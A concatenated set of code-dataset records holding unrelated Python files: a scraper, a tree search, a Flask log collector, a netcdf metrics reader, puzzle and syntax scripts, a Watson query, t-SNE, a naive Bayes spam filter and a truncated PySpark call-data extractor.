writer.writerow([p_name,cate_name1,cate_name2,cate_name3,cate_name4,brand,model,price,unit,p_sku,send_date,attr])\n\n if page == 1:\n if len(total_page)==0:\n break\n total_page = int(total_page[0].text.replace('共','').replace('页',''))\n total = 2 # total_page\n page += 1 \n\n csv_file.close()\n\n\nif __name__ == '__main__':\n get_data(url)\n ","sub_path":"url/getXY_cate3.py","file_name":"getXY_cate3.py","file_ext":"py","file_size_in_byte":6795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"260565846","text":"class Nodo(object):\n def __init__(self, valor, nodos = []):\n self.valor = valor\n self.nodos = nodos\n\ndef buscarEnArbol(nodo, valor):\n if len(nodo.nodos) == 0: \n if nodo.valor == valor:\n return True\n else:\n return False\n else:\n if nodo.valor == valor:\n return True\n else:\n return buscarEnArbol(nodo.nodos[0], valor) or buscarEnArbol2(nodo.nodos[1:len(nodo.nodos)], valor)\n\ndef buscarEnArbol2(nodos, valor):\n if len(nodos) == 0:\n return False\n else:\n return buscarEnArbol(nodos[0], valor) or buscarEnArbol2(nodos[1:len(nodos)], valor)","sub_path":"n_ario/ArbolN.py","file_name":"ArbolN.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"450856561","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nfrom flask import render_template\nfrom flask.json import jsonify\nfrom Collector.api import app_collector\nimport os\nfrom Collector.helpers import APP_DATA\nimport codecs\n\n# Diese Route stellt die gesammelten Rohdaten zur Verfügung\n@app_collector.route(\"/resource\", methods=['GET'])\ndef test():\n return render_template('index.html')\n\n@app_collector.route(\"/getData\", methods=['GET'])\ndef get_data():\n dataJsonify = []\n tempData = []\n finalData = []\n\n with codecs.open(os.path.join(APP_DATA+'/data/', 'data'),'r','utf-8') as f:\n for line in f:\n tempData.append(line.splitlines()[0])\n\n # diese schleife hilft die eingerückte Zeil zu fixen\n for i in range(len(tempData)):\n if((i+1) < len(tempData)):\n curVal = tempData[i];\n if(curVal[0] == ' '):\n continue\n nextVal = tempData[i+1]\n if(nextVal[0] == ' '):\n newValue = tempData[i] + nextVal\n finalData.append(newValue)\n else:\n finalData.append(tempData[i])\n\n for i in range(len(finalData)):\n if \"IP:\" in finalData[i]:\n #print(finalData[i])\n\n line = finalData[i].split(\" \")\n if(len(line) != 8):\n continue\n ip = line[1].strip()\n user = line[3].strip()\n pwd = line[5].strip()\n dateVal = line[6].strip()\n timeVal = line[7].strip()\n\n data_object = {\n 'ip':ip,\n 'user':user,\n 'pass':pwd,\n 'date':dateVal,\n 'time':timeVal\n }\n dataJsonify.append(data_object)\n\n\n return jsonify(dataList=dataJsonify)\n\n@app_collector.route(\"/rmData\", methods=['GET'])\ndef deleteData():\n open(os.path.join(APP_DATA+'/data/data'),'w').close()\n return 'Done'\n","sub_path":"Collector/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"303556810","text":"# -*- coding: utf-8 -*-\n\nimport xarray as xr\nfrom qa4sm_reader import globals\nfrom parse import *\nimport os\nimport numpy as np\nfrom collections import OrderedDict\nfrom qa4sm_reader.handlers import _build_fname_templ\nfrom qa4sm_reader.handlers import QA4SMMetricVariable\nimport pandas as pd\nimport itertools\n\n\nclass QA4SMImg(object):\n \"\"\"\n A QA4SM validation results netcdf image.\n \"\"\"\n def __init__(self, filepath, extent=None, ignore_empty=True, metrics=None,\n index_names=globals.index_names):\n \"\"\"\n Initialise a common QA4SM results image.\n\n Parameters\n ----------\n filepath : str\n Path to the results netcdf file (as created by QA4SM)\n extent : tuple, optional (default: None)\n Area to subset the values for.\n (min_lon, max_lon, min_lat, max_lat)\n ignore_empty : bool, optional (default: True)\n Ignore empty variables in the file.\n metrics : list or None, optional (default: None)\n Subset of the metrics to load from file, if None are passed, all\n are loaded.\n index_names : list, optional (default: ['lat', 'lon'] - as in globals.py)\n Names of dimension variables in x and y direction (lat, lon).\n \"\"\"\n self.filepath = filepath\n self.filename = os.path.basename(self.filepath)\n\n self.extent = extent\n self.index_names = index_names\n\n self.ignore_empty = ignore_empty\n self.ds = xr.open_dataset(self.filepath)\n\n self.common, self.double, self.triple = self._load_metrics_from_file(metrics)\n\n self.ref_dataset = self.ds.val_dc_dataset0\n # this try here is to obey tests, withouth a necessity of changing and commiting test files again\n try:\n self.ref_dataset_grid_stepsize = self.ds.val_dc_dataset0_grid_stepsize\n except:\n self.ref_dataset_grid_stepsize = 'nan'\n\n def _load_metrics_from_file(self, metrics:list=None) -> (dict, dict, dict):\n \"\"\" Load and group all metrics from file \"\"\"\n self.df = self._ds2df(None)\n\n common, double, triple = dict(), dict(), dict()\n if metrics is None:\n metrics = list(itertools.chain(*list(globals.metric_groups.values())))\n for metric in metrics:\n # todo: loading every single variable is slow\n metr_vars = self._load_metric_from_file(metric)\n if len(metr_vars) > 0:\n if metric in globals.metric_groups[2]:\n double[metric] = metr_vars\n elif metric in globals.metric_groups[3]:\n triple[metric] = metr_vars\n else:\n common[metric] = metr_vars\n\n return common, double, triple\n\n def _load_metric_from_file(self, metric:str) -> np.array:\n \"\"\" Load all variables that describe the metric from file. \"\"\"\n\n all_vars = np.sort(np.array(list(self.ds.variables.keys())))\n metr_vars = []\n for var in all_vars:\n Var = self._load_var(var, empty=True)\n if Var is not None and (Var.metric == metric):\n Var.values = self.df[[var]].dropna()\n if self.ignore_empty:\n if not Var.isempty():\n metr_vars.append(Var)\n else:\n metr_vars.append(Var)\n\n return np.array(metr_vars)\n\n def _load_var(self, varname:str, empty=False) -> (QA4SMMetricVariable or None):\n \"\"\" Create a common variable and fill it with values \"\"\"\n if empty:\n values = None\n else:\n values = self.df[[varname]]\n try:\n Var = QA4SMMetricVariable(varname, self.ds.attrs, values=values)\n return Var\n except IOError:\n return None\n\n\n def _ds2df(self, varnames:list=None) -> pd.DataFrame:\n \"\"\" Cut a variable to extent and return it as a values frame \"\"\"\n try:\n if varnames is None:\n if globals.time_name in list(self.ds.variables.keys()):\n if len(self.ds[globals.time_name]) == 0:\n self.ds = self.ds.drop_vars('time')\n df = self.ds.to_dataframe()\n else:\n df = self.ds[self.index_names + varnames].to_dataframe()\n df.dropna(axis='index', subset=varnames, inplace=True)\n except KeyError as e:\n raise Exception(\n 'The given variable ' + ', '.join(varnames) +\n ' do not match the names in the input values.' + str(e))\n\n if isinstance(df.index, pd.MultiIndex):\n lat, lon = globals.index_names\n df[lat] = df.index.get_level_values(lat)\n df[lon] = df.index.get_level_values(lon)\n\n if self.extent: # === geographical subset ===\n lat, lon = globals.index_names\n df = df[(df[lon] >= self.extent[0]) & (df[lon] <= self.extent[1]) &\n (df[lat] >= self.extent[2]) & (df[lat] <= self.extent[3])]\n\n df.reset_index(drop=True, inplace=True)\n df = df.set_index(self.index_names)\n\n return df\n\n def metric_df(self, metric):\n \"\"\"\n Group all variables for the metric in a common data frame\n\n Parameters\n ---------\n metric : str\n The name of a metric in the file, all variables for that metric are\n combined into one values frame.\n\n Returns\n -------\n df : pd.DataFrame\n A dataframe that contains all variables that describe the metric\n in the column\n \"\"\"\n for g, metric_group in {0: self.common, 2: self.double, 3: self.triple}.items():\n if metric in metric_group.keys():\n if g != 3:\n conc = [Var.values for Var in metric_group[metric]]\n return pd.concat(conc, axis=1)\n else:\n mds_df = {}\n for Var in metric_group[metric]:\n _, _, mds_meta = Var.get_varmeta()\n k = (mds_meta[0], mds_meta[1]['short_name'], mds_meta[1]['short_version'])\n if k not in mds_df.keys():\n mds_df[k] = [Var.values]\n else:\n mds_df[k].append(Var.values)\n ret = []\n for k, dflist in mds_df.items():\n try:\n r = pd.concat(dflist, sort=True, axis=1)\n except ValueError:\n r = pd.concat(dflist, sort=True, axis=0)\n ret.append(r)\n return ret\n\n def find_group(self, src):\n \"\"\"\n Search the element and get the variable group that it is in.\n\n Parameters\n ---------\n src : str\n Either a metric or a variable\n\n Returns\n -------\n metric_group : dict\n A collection of metrics for 2, 3 or all datasets.\n \"\"\"\n for metric_group in [self.common, self.double, self.triple]:\n if src in metric_group.keys():\n return metric_group\n for metric_group in [self.common, self.double, self.triple]:\n for metric in metric_group.keys():\n if src in [Var.varname for Var in metric_group[metric]]:\n return metric_group\n\n def ref_meta(self) -> tuple:\n \"\"\" Go through all variables and check if the reference dataset is the same \"\"\"\n ref_meta = None\n for metric_group in [self.common, self.double, self.triple]:\n for metric, vars in metric_group.items():\n for Var in vars:\n if ref_meta is None:\n ref_meta, _, _ = Var.get_varmeta()\n else:\n new_ref_meta, _, _ = Var.get_varmeta()\n assert new_ref_meta == ref_meta\n return ref_meta\n\n def var_meta(self, varname):\n \"\"\"\n Get the metric and metadata for a single variable.\n\n Parameters\n --------\n varname : str\n The variable that is looked up\n\n Returns\n -------\n var_meta : dict\n metric as the key and ref_meta, dss_meta and mds_meta as the\n values.\n \"\"\"\n\n metr_group = self.find_group(varname)\n for metric, vars in metr_group.items():\n for Var in vars:\n if Var.varname == varname:\n return {Var.metric: Var.get_varmeta()}\n\n\n def metric_meta(self, metric):\n \"\"\"\n Get the meta values for all variables that describe the passed metric.\n\n Parameters\n ----------\n metric : str\n A metric that is in the file (e.g. n_obs, R, ...)\n\n Returns\n -------\n metric_meta : dict\n Dictionary of metadata dictionaries, with variables as the keys.\n \"\"\"\n\n group = self.find_group(metric)\n metvar_meta = {}\n for Var in group[metric]:\n metvar_meta[Var.varname] = Var.get_varmeta()\n return metvar_meta\n \n def parse_filename(self):\n \"\"\"\n Parse filename and derive the validation datasets. Relies on the separator\n between values sets in the filename from the globals.\n\n Parameters\n ----------\n filename : str\n File name (not path) to parse based on the rule from globals.\n\n Returns\n -------\n ds_and_vers : dict\n The parsed datasets and version from the file name.\n \"\"\"\n filename = os.path.basename(self.filepath)\n parts = filename.split(globals.ds_fn_sep)\n fname_templ = _build_fname_templ(len(parts))\n return parse(fname_templ, filename).named\n\n def ls_metrics(self, as_groups=True):\n \"\"\"\n Get a list of validation METRICS names that are in the current loaded.\n\n Parameters\n ----------\n as_groups : bool, optional (default: True)\n Return the metrics grouped by whether all datasets, two, or three\n are considered during calculation. If this is False, then all metrics\n are combined in a common list\n\n Returns\n -------\n metrics : list or OrderedDict\n The (grouped) metrics in the current file.\n \"\"\"\n\n common = [m for m in self.common.keys()]\n double = [m for m in self.double.keys()]\n triple = [m for m in self.triple.keys()]\n\n if as_groups:\n return OrderedDict([('common', common), ('double', double),\n ('triple', triple)])\n else:\n return np.sort(np.array(common + double + triple))\n\n def ls_vars(self, as_groups=True):\n \"\"\"\n Get a list of VARIABLES (except gpi, lon, lat) of the current file.\n\n Parameters\n ---------\n only_metrics_vars : bool\n Only include variables that describe a validation metric\n exclude_empty : bool, optional (default: True)\n Ignore variables that are empty / all nans from reading\n\n Returns\n --------\n vars : np.array\n Alphabetically sorted variables in the file (except gpi, lon, lat),\n optionally without the empty variables.\n \"\"\"\n common, double, triple = None, None, None\n for g, metric_group in zip((0,2,3), (self.common, self.double, self.triple)):\n varnames = []\n for metric in metric_group.keys():\n for Var in metric_group[metric]:\n varnames.append(Var.varname)\n if g == 0:\n common = varnames\n elif g == 2:\n double = varnames\n elif g == 3:\n triple = varnames\n else:\n raise NotImplementedError\n\n if as_groups:\n return OrderedDict([('common', common), ('double', double),\n ('triple', triple)])\n else:\n return np.sort(np.array(common + double + triple))\n \n def metric_stats(self, metric):\n \"\"\"\n Provide a list with the metric summary statistics (for each variable)\n\n Parameters\n ----------\n metric : str\n A metric that is in the file (e.g. n_obs, R, ...)\n\n Returns\n -------\n metric_stats : list\n List of (variable) lists with summary statistics\n \"\"\"\n group = self.find_group(metric)\n metric_vars = group[metric]\n metric_stats = []\n # for all the variables in a metric\n for n, metric_var in enumerate(metric_vars):\n # get interquartile range \n values = metric_var.values\n iqr = values.quantile(q=[0.75,0.25]).diff()\n iqr = abs(float(iqr.loc[0.25]))\n # find the statistics for the metric variable\n if metric_var.g == 0:\n var_stats = [round(float(i),1) for i in (values.mean(), values.median(), iqr)]\n var_stats.append('All datasets')\n var_stats.extend([globals._metric_name[metric], metric_var.g])\n else:\n var_stats = [np.format_float_scientific(float(i), 2) for i in (values.mean(), values.median(), iqr)]\n \n if metric_var.g == 2:\n ds_name = metric_var.other_dss[0]._names_from_attrs()\n var_stats.append(ds_name['short_name'] + ' ({})'.format(ds_name['pretty_version']))\n elif metric_var.g == 3:\n ds_name = metric_var.other_dss[n]._names_from_attrs()\n var_stats.append(ds_name['short_name'] + ' ({})'.format(ds_name['pretty_version']))\n \n var_stats.extend([globals._metric_name[metric] + globals._metric_description_HTML[metric].format(\n globals._metric_units_HTML[ds_name['short_name']]), metric_var.g])\n # put the separate variable statistics in the same list\n metric_stats.append(var_stats)\n \n return metric_stats\n \n def stats_df(self):\n \"\"\"\n Create a DataFrame with summary statistics for all the metrics\n\n Returns\n -------\n stats_df : pd.DataFrame\n Quick inspection table of the results.\n \"\"\"\n stats = []\n # find stats for all the metrics\n for metric in self.ls_metrics(False):\n stats.extend(self.metric_stats(metric))\n # create a dataframe\n stats_df = pd.DataFrame(stats, columns = ['Mean', 'Median', 'IQ range', 'Dataset', 'Metric', 'Group'])\n stats_df.set_index('Metric', inplace=True)\n stats_df.sort_values(by='Group', inplace=True)\n \n return stats_df\n ","sub_path":"src/qa4sm_reader/img.py","file_name":"img.py","file_ext":"py","file_size_in_byte":14904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"137375875","text":"import re\nimport math\nimport copy\n\npattern = re.compile(r'position=<\\s*(\\-?[0-9]*),\\s*(\\-?[0-9]*)> velocity=<\\s*(\\-?[0-9]*),\\s*(\\-?[0-9]*)>')\n\ndef parse(str):\n groups = pattern.findall(str)\n (posx, posy, velx, vely) = groups[0]\n return (int(posx), int(posy), int(velx), int(vely))\n\ndef load_file(path):\n lines = []\n with open(path) as fp:\n line = fp.readline()\n while line:\n lines.append(parse(line))\n line = fp.readline()\n return lines\n\npoints = load_file('input/input-10a.txt')\n\ndef endpoints(points):\n minx, miny = points[0][0], points[0][1]\n maxx, maxy = points[0][0], points[0][1]\n for px, py, vx, vy in points:\n if px < minx:\n minx = px\n if px > maxx:\n maxx = px\n if py < miny:\n miny = py\n if py > maxy:\n maxy = py\n return (minx, miny, maxx, maxy)\n\ndef maxd(points):\n (minx, miny, maxx, maxy) = endpoints(points)\n return math.sqrt(math.pow(maxx-minx, 2)+math.pow(maxy-miny, 2))\n\ndef move(points):\n for pi, p in enumerate(points):\n (px, py, vx, vy) = p\n points[pi] = (px+vx, py+vy, vx, vy)\n\ndef print_sample(sample, t):\n (minx, miny, maxx, maxy) = endpoints(sample)\n print('============================================================================================================')\n print('At t=',t)\n print('============================================================================================================')\n for y in range(miny, maxy+1):\n for x in range(minx, maxx+1):\n found = False\n for px, py, vx, vy in sample:\n if px == x and py == y:\n found = True\n break\n if found:\n print('#', end='')\n else:\n print('.', end='')\n print('')\n print('')\n\ndef get_closest_configuration(points):\n num_samples = 0\n samples = []\n t = 1\n while num_samples == 0 or maxd(points) < 500:\n # keep iterating until we have a sample and the maximum distance between the points exceeds what is reasonable for a message to appear\n move(points)\n if maxd(points) < 100:\n num_samples += 1\n samples.append((copy.copy(points), t))\n t += 1\n \n (min_sample, min_sample_time) = min(samples, key=lambda p: maxd(p[0]))\n return (min_sample, min_sample_time)\n\n\n(c, ct) = get_closest_configuration(points)\nprint_sample(c, ct)","sub_path":"2018/solutions/10.py","file_name":"10.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"317812629","text":"'''this is comment\nfor many lines'''\n#this is also comment\nprint (\"hello, world\")\nmy_variable = 10\nmy_int = 7\nmy_float = 1.23\nmy_bool = True\nmy_int = 3\nprint (my_int)\n\n#math operations\ncount = 100+200\nprint (count)\n#exponention\neggs = 10**2\nprint (eggs)\n#modulo\nspam = 8%7\nprint (spam)\n#decimal numbers\nmeal = 44.5\ntax = 0.0675\ntip = 0.15\nmeal = meal + meal*tax\ntotal = meal + meal*tip\nprint (\"%.2f\" % total)","sub_path":"00 Python_Syntax.py","file_name":"00 Python_Syntax.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"92427475","text":"import sys\nimport os\nimport json\nimport time\nimport pandas as pd\nfrom watson_developer_cloud import DiscoveryV1\nimport argparse\n\n# BEGIN of python-dotenv section\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\nimport os\n# END of python-dotenv section\n\n\ndef read_json_file(file_path):\n \"\"\"Reads and parse a json file.\n\n Parameters\n ----------\n file_path : {str} the path to the json file.\n\n Returns\n -------\n dict : a dictionary containing the json structure read from the file.\n \"\"\"\n with open(file_path) as json_file:\n json_content = json_file.read()\n json_data = json.loads(json_content)\n\n return(json_data)\n\n\ndef display_results(response):\n \"\"\"Reads and parse a json file.\n\n Parameters\n ----------\n file_path : {str} the path to the json file.\n\n Returns\n -------\n dict : a dictionary containing the json structure read from the file.\n \"\"\"\n d = {}\n for r in response['results']:\n d[r['title']] = r['price']\n print(d)\n return d\n # print(json.dumps(response, indent=2))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"query_file\", help=\"path to the query file\")\n args = parser.parse_args()\n\n # BEGIN of python-dotenv section\n dotenv_path = join(dirname(__file__), '.env')\n load_dotenv(dotenv_path)\n # END of python-dotenv section\n\n\n # opening query file specified as argument of script\n query_json = read_json_file(args.query_file)\n\n # connects to Discovery\n discovery = DiscoveryV1(\n username=os.environ.get(\"DISCOVERY_USERNAME\"),\n password=os.environ.get(\"DISCOVERY_PASSWORD\"),\n version=\"2016-12-01\"\n )\n\n collection_id = os.environ.get('DISCOVERY_COLLECTION_ID')\n configuration_id = os.environ.get('DISCOVERY_CONFIGURATION_ID')\n environment_id = os.environ.get('DISCOVERY_ENVIRONMENT_ID')\n\n # sends the query to Discovery\n response = discovery.query(environment_id,\n collection_id,\n query_json)\n\n display_results(response)\n","sub_path":"discovery_query.py","file_name":"discovery_query.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"164167874","text":"import os\nimport numpy as np\nfrom tsne import BHTSNE\n\n\ndef _embed_feature_vector(features_path,\n n_dim=2,\n perplexity=30,\n theta=0.5,\n seed=-1):\n if n_dim not in (2, 3):\n raise ValueError('invalid dimensions')\n\n feature = np.loadtxt(features_path)\n embeded_feature = BHTSNE(n_dim=n_dim,\n perplexity=perplexity,\n theta=theta,\n rand_seed=seed).fit_transform(feature)\n return embeded_feature\n\n\ndef embed_features(features_path, out_path=None, n_dim=2, perplexity=30,\n theta=0.5, seed=-1):\n embeded_feature = _embed_feature_vector(features_path, n_dim, perplexity,\n theta, seed)\n if not os.path.isdir(os.path.basename(out_path)):\n os.makedirs(os.path.basename(out_path))\n np.savetxt(out_path, embeded_feature, delimiter='\\t')\n","sub_path":"embed_visible_dimensions.py","file_name":"embed_visible_dimensions.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"348938566","text":"import csv \r\nimport math\r\nimport sys\r\nimport re\r\n\r\ntrainPath=sys.argv[1]\r\ntestPath=sys.argv[2]\r\nstopwordsPath=sys.argv[3]\r\n\r\nf=open(stopwordsPath,'r')\r\ntemp=f.read()\r\nstopWords=re.split('\\W+',temp)\r\ndictionary={}\r\nfor word in stopWords:\r\n\tdictionary[word]=\"\"\r\n\r\n\r\nhamPath=trainPath+\"\\\\ham\"\r\n\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\n\r\nhamfiles=[f for f in listdir(hamPath) if isfile(join(hamPath,f))]\r\n\r\nhamText=\"\"\r\ntotalHamFiles=len(hamfiles)\r\nfor a in range(0,totalHamFiles,1):\r\n\tf=open(hamPath+\"\\\\\"+hamfiles[a],'r')\r\n\ttemp=f.read()\r\n\thamText=hamText+temp\r\nHamTotalText=hamText\r\n\r\nfor word,initial in dictionary.items():\r\n\tHamTotalText=HamTotalText.lower()\r\n\tHamTotalText=HamTotalText.replace(\" \"+word.lower()+\" \",\" \"+initial+\" \")\r\n\r\nspamPath=trainPath+\"\\\\spam\"\r\nspamfiles=[f for f in listdir(spamPath) if isfile(join(spamPath,f))]\r\n\r\nspamText=\"\"\r\ntotalSpamFiles=len(spamfiles)\r\nfor a in range(0,totalSpamFiles,1):\r\n\tf=open(spamPath+\"\\\\\"+spamfiles[a],'r')\r\n\ttemp=f.read()\r\n\tspamText=spamText+temp\r\nspamTotalText=spamText\r\n\r\nfor word,initial in dictionary.items():\r\n\tspamTotalText=spamTotalText.lower()\r\n\tspamTotalText=spamTotalText.replace(\" \"+word.lower()+\" \",\" \"+initial+\" \")\r\n\r\nHamPriorProb=float(totalHamFiles)/(totalHamFiles+totalSpamFiles)\r\nSpamPriorProb=1-HamPriorProb\r\n\r\nprint(HamPriorProb)\r\nprint(SpamPriorProb)\r\n\r\nHamTokenized=re.split('\\W+',HamTotalText)\r\nSpamTokenized=re.split('\\W+',spamTotalText)\r\n\r\nSpamFreqTable={}\r\nfor token in range(0,len(SpamTokenized),1):\r\n\tif SpamTokenized[token] in SpamFreqTable:\r\n\t\tSpamFreqTable[SpamTokenized[token]]=SpamFreqTable[SpamTokenized[token]]+1\r\n\telse:\r\n\t\tSpamFreqTable[SpamTokenized[token]]=1\r\n\r\nHamFreqTable={}\r\nfor token in range(0,len(HamTokenized),1):\r\n\tif HamTokenized[token] in HamFreqTable:\r\n\t\tHamFreqTable[HamTokenized[token]]=HamFreqTable[HamTokenized[token]]+1\r\n\telse:\r\n\t\tHamFreqTable[HamTokenized[token]]=1\r\n\tif not HamTokenized[token] in SpamFreqTable:\r\n\t\tSpamFreqTable[HamTokenized[token]]=0\r\n\r\nfor token in range(0,len(SpamTokenized),1):\r\n\tif not SpamTokenized[token] in HamFreqTable:\r\n\t\tHamFreqTable[SpamTokenized[token]]=0\r\n\r\nprint('Frequency of Ham table is :')\r\nprint(len(HamFreqTable))\r\nprint('Frequency of Spam table is :')\r\nprint(len(SpamFreqTable))\r\n\r\n\r\nSpamCondProb={}\r\nspamDistinctWords=0\r\n\r\nfor keys in SpamFreqTable:\r\n\tspamDistinctWords=spamDistinctWords+SpamFreqTable[keys]+1\r\nfor keys in SpamFreqTable:\r\n\tSpamCondProb[keys]=float(SpamFreqTable[keys]+1)/spamDistinctWords\r\n\r\n\r\nHamCondProb={}\r\nHamDistinctWords=0\r\nfor keys in HamFreqTable:\r\n\tHamDistinctWords=HamDistinctWords+HamFreqTable[keys]+1\r\nfor keys in SpamFreqTable:\r\n\tHamCondProb[keys]=float(HamFreqTable[keys]+1)/HamDistinctWords\r\n\r\ncc=0\r\nsizeOfClassification=0\r\n\r\n\r\ntestHamPath=testPath+\"\\\\ham\"\r\n\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\n\r\nhamfiles=[f for f in listdir(testHamPath) if isfile(join(testHamPath,f))]\r\n\r\nhamText=\"\"\r\ntotalHamFiles=len(hamfiles)\r\nprint('HamFilesT')\r\nprint(totalHamFiles)\r\nfor a in range(0,len(hamfiles),1):\r\n\tf=open(testHamPath+\"\\\\\"+hamfiles[a],'r')\r\n\ttemp=f.read()\r\n\thamText=hamText+temp\r\n\tsizeOfClassification=sizeOfClassification+1\r\n\thamScore=math.log(HamPriorProb)\r\n\tspamScore=math.log(SpamPriorProb)\r\n\ttokenizedData=re.split('\\W+',temp)\r\n\t\r\n\tfor i in tokenizedData:\r\n\t\tif i in SpamCondProb:\r\n\t\t\tspamScore=spamScore+math.log(SpamCondProb[i]) \r\n\r\n\tfor i in tokenizedData:\r\n\t\tif i in HamCondProb:\r\n\t\t\thamScore=hamScore+math.log(HamCondProb[i]) \t\r\n\tif hamScore>spamScore:\r\n\t\tcc=cc+1\r\n\r\nprint('Ham files correctly classified:')\r\nprint(cc)\r\ntestSpamPath=testPath+\"\\\\spam\"\r\n\r\n\r\nspamfiles=[f for f in listdir(testSpamPath) if isfile(join(testSpamPath,f))]\r\n\r\nspamText=\"\"\r\ntotalSpamFiles=len(spamfiles)\r\nprint('Total Spam Fls:')\r\nprint(totalSpamFiles)\r\nfor a in range(0,totalSpamFiles,1):\r\n\tf=open(testSpamPath+\"\\\\\"+spamfiles[a],'r')\r\n\ttemp=f.read()\r\n\tsizeOfClassification=sizeOfClassification+1\r\n\thamScore=math.log(HamPriorProb)\r\n\tspamScore=math.log(SpamPriorProb)\r\n\ttokenizedData=re.split('\\W+',temp)\r\n\t\r\n\tfor i in tokenizedData:\r\n\t\tif i in SpamCondProb:\r\n\t\t\tspamScore=spamScore+math.log(SpamCondProb[i]) \r\n\r\n\tfor i in tokenizedData:\r\n\t\tif i in HamCondProb:\r\n\t\t\thamScore=hamScore+math.log(HamCondProb[i]) \r\n\tif hamScore), Row()]\n\n Note:\n - journey can have several PCL Rows in output (that's why list)\n - journey_id is stored inside Row as `jid` field\n \"\"\"\n\n jid, raw_data = values\n\n results = []\n data = {k: raw_data.get(v, {}) for k, v in signals.MOST_ARRAYS.items()}\n\n for d in [signals.CAN, signals.MOST]:\n for k, v in d.items():\n data[k] = raw_data.get(v, [])\n\n call_states = ifilter(None, data['call_states'].itervalues())\n for call_state in call_states:\n call_state = sorted(call_state, key=lambda r: r['time'])\n\n rle_entry = [item for (item, count) in rle(call_state)]\n active_rows = (\n item\n for prev, item in zip(rle_entry, rle_entry[1:])\n if item['data'] == 'Active' and prev['data'] == 'Dialing'\n )\n\n for active_row in active_rows:\n # default values\n result = dict(\n call_duration=None,\n call_start_date='',\n call_start_time='',\n user_phone_number=None,\n tel_number='',\n tel_number_name='',\n vehicle_speed=None,\n powermode=None,\n lat=None,\n lon=None,\n )\n\n gen_section = extract_general_data(\n active_row, data, call_state)\n result.update(gen_section)\n\n calls = extract_calls(active_row, data)\n result.update(calls)\n\n telNumber, telNumberName = extract_tel_number_and_name(\n active_row, data)\n\n result.update(dict(\n jid=jid,\n tel_number=telNumber,\n tel_number_name=telNumberName,\n ))\n\n results.append(schema.dict_to_row(result))\n\n return results\n\n\ndef format_pcl_rdd_to_csv(rdd):\n \"\"\"This method will take the output RDD created by the PCL extraction\n process and format it in way suitable for saving in the CSV file.\n \"\"\"\n\n fields = (\n 'jid',\n 'call_duration', 'call_start_date', 'call_start_time',\n 'user_phone_number', 'tel_number', 'tel_number_name',\n 'vehicle_speed', 'powermode',\n 'lat', 'lon',\n 'dialled_call_type', 'received_call_type', 'missed_call_type',\n 'dialled_tel_number', 'received_tel_number', 'missed_tel_number',\n 'dialled_name', 'received_name', 'missed_name',\n 'dialled_number_index', 'received_number_index', 'missed_number_index',\n 'dialled_book_index', 'received_book_index', 'missed_book_index',\n 'dialled_tag', 'received_tag', 'missed_tag',\n 'dialled_date', 'received_date', 'missed_date',\n )\n\n def row_to_csv_line(data):\n\n def str_format(s):\n return s.encode('utf8') if isinstance(s, unicode) else s\n\n f = StringIO()\n writer = csv.DictWriter(\n f, delimiter=',', fieldnames=fields, extrasaction='ignore')\n\n writer.writerow({\n k: str_format(v)\n for k, v in data.asDict().iteritems()\n })\n return f.getvalue().rstrip('\\r\\n')\n\n return rdd.map(row_to_csv_line)\n\n\ndef extract_vehicle_speed(spark_context, dialing_times):\n \"\"\"Extract vehicle speed into RDD.\n\n Vehicle speed is huge (725.733.607 rows - see further statistics in the\n comments below to put in context)\n So we do not want to shuffle it if possible.\n We also do not need it at the original sampling frequency so will\n downsample to 1 sec this reduces size to 8.320.548 rows.\n\n dialing_times:\n {u'42a590d00c04f9927d54b191b1072d51':\n (255020009.096, 255020065.161, 255020346.786)\n }\n \"\"\"\n\n def zero_value(dialing_data):\n return {\n jid: {ts: (0, 0) for ts in values} # (0, 0) will be (time, data)\n for jid, values in dialing_data.iteritems()\n }\n\n def seq_op(u, t):\n for ts, values in u.get(t['id'], {}).iteritems():\n prev_ts, data = values # (time, data) tuple, see zero_value\n try:\n t_time = float(t['time'])\n if prev_ts < t_time < ts:\n u[t['id']][ts] = (t_time, t['data'])\n except (TypeError, ValueError):\n pass\n return u\n\n def comb_op(u1, u2):\n for jid, timestamps in u2.iteritems():\n for ts, values in timestamps.iteritems():\n prev_ts2, data2 = values\n prev_ts1, data1 = u1[jid][ts]\n if prev_ts2 > prev_ts1:\n u1[jid][ts] = (prev_ts2, data2)\n return u1\n\n speed = hbase.scan_signals(spark_context, [\"vehiclespeed_hs\"])\n\n strict_signal_names = set(signals.VEHICLE_SPEED.values())\n\n speed = filter_journeys(speed, dialing_times.value.keys()) \\\n .filter(lambda row: row['name'] in strict_signal_names) \\\n .aggregate(zero_value(dialing_times.value), seq_op, comb_op)\n return speed\n\n\ndef merge_speed_into_pcl(row, speed_data):\n speed = speed_data.value\n pcl = row.asDict()\n\n vehicle_speed = speed.get(row.jid, {}).get(row.dialing_time)\n if vehicle_speed is not None:\n pcl['vehicle_speed'] = vehicle_speed\n\n return Row(**pcl)\n\n\ndef get_pcl(spark_context, journey_ids=None):\n \"\"\"Extract PCL data.\n\n :param spark_context: SparkContext instance.\n :param journey_ids: journey ids to limit extraction for specific journeys.\n Default - process all journeys.\n :type journey_ids: list of str\n :return: RDD with PCL data\n \"\"\"\n pcl_signals_rdd = hbase.scan_signals(\n spark_context,\n signals=signals.POWERMODES.values() + signals.MOST_RAW,\n )\n pcl_signals_rdd = filter_journeys(pcl_signals_rdd, 